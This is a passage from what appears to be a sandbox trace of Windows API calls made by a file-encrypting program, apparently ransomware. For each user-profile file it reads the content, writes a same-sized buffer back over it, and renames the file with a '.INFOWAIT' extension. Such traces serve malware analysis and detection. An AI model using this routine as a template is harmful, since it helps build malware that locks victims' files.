lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7000 [0141.712] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.712] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.712] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7000, lpOverlapped=0x0) returned 1 [0141.721] VirtualAlloc (lpAddress=0x0, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.723] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.723] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7000, lpOverlapped=0x0) returned 1 [0141.723] CloseHandle (hObject=0xad4) returned 1 [0141.724] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" [0141.724] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.INFOWAIT" [0141.724] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms.infowait")) returned 1 [0141.724] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.725] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.725] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.725] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0141.726] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43 [0141.726] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.726] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.726] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x43, lpOverlapped=0x0) returned 1 [0141.727] VirtualAlloc (lpAddress=0x0, dwSize=0x43, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.728] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.728] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x43, lpOverlapped=0x0) returned 1 [0141.728] CloseHandle (hObject=0xad4) returned 1 [0141.728] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" [0141.728] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini.INFOWAIT" [0141.728] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini.infowait")) returned 1 [0141.728] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.729] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.729] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.729] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0141.729] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43 [0141.729] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.730] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.730] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x43, lpOverlapped=0x0) returned 1 [0141.731] VirtualAlloc (lpAddress=0x0, dwSize=0x43, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.731] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.731] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x43, lpOverlapped=0x0) returned 1 [0141.731] CloseHandle (hObject=0xad4) returned 1 [0141.731] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" [0141.731] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini.INFOWAIT" [0141.731] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini.infowait")) returned 1 [0141.732] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.732] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.733] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.733] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0141.734] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43 [0141.734] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.734] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.734] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x43, lpOverlapped=0x0) returned 1 [0141.735] VirtualAlloc (lpAddress=0x0, dwSize=0x43, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.736] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.736] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x43, lpOverlapped=0x0) returned 1 [0141.736] CloseHandle (hObject=0xad4) returned 1 [0141.736] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" [0141.736] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini.INFOWAIT" [0141.736] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini.infowait")) returned 1 [0141.737] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.737] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.738] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.738] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0141.738] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43 [0141.738] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.738] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.738] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x43, lpOverlapped=0x0) returned 1 [0141.739] VirtualAlloc (lpAddress=0x0, dwSize=0x43, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.740] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.740] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x43, lpOverlapped=0x0) returned 1 [0141.740] CloseHandle (hObject=0xad4) returned 1 [0141.740] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" [0141.740] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini.INFOWAIT" [0141.740] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini.infowait")) returned 1 [0141.740] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.741] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.741] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.741] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0141.743] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000 [0141.743] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.743] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.743] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x8000, lpOverlapped=0x0) returned 1 [0141.754] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.757] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.757] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x8000, lpOverlapped=0x0) returned 1 [0141.757] CloseHandle (hObject=0xad0) returned 1 [0141.757] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" [0141.757] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.INFOWAIT" [0141.757] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat.infowait")) returned 1 [0141.758] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.759] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.759] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.759] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0141.759] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43 [0141.759] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.759] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.759] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x43, lpOverlapped=0x0) returned 1 [0141.761] VirtualAlloc (lpAddress=0x0, dwSize=0x43, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.761] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.761] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x43, lpOverlapped=0x0) returned 1 [0141.761] CloseHandle (hObject=0xad0) returned 1 [0141.761] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" [0141.761] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini.INFOWAIT" [0141.761] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini.infowait")) returned 1 [0141.762] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.762] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.763] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.763] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0141.763] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2fa9 [0141.763] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.764] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.764] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2fa9, lpOverlapped=0x0) returned 1 [0141.779] VirtualAlloc (lpAddress=0x0, dwSize=0x2fa9, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.781] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.781] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2fa9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2fa9, lpOverlapped=0x0) returned 1 [0141.781] CloseHandle (hObject=0xad0) returned 1 [0141.781] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" [0141.781] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.INFOWAIT" [0141.781] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.infowait")) returned 1 [0141.784] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.785] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.785] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.786] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0141.786] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2fa9 [0141.786] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.786] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.786] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2fa9, lpOverlapped=0x0) returned 1 [0141.798] 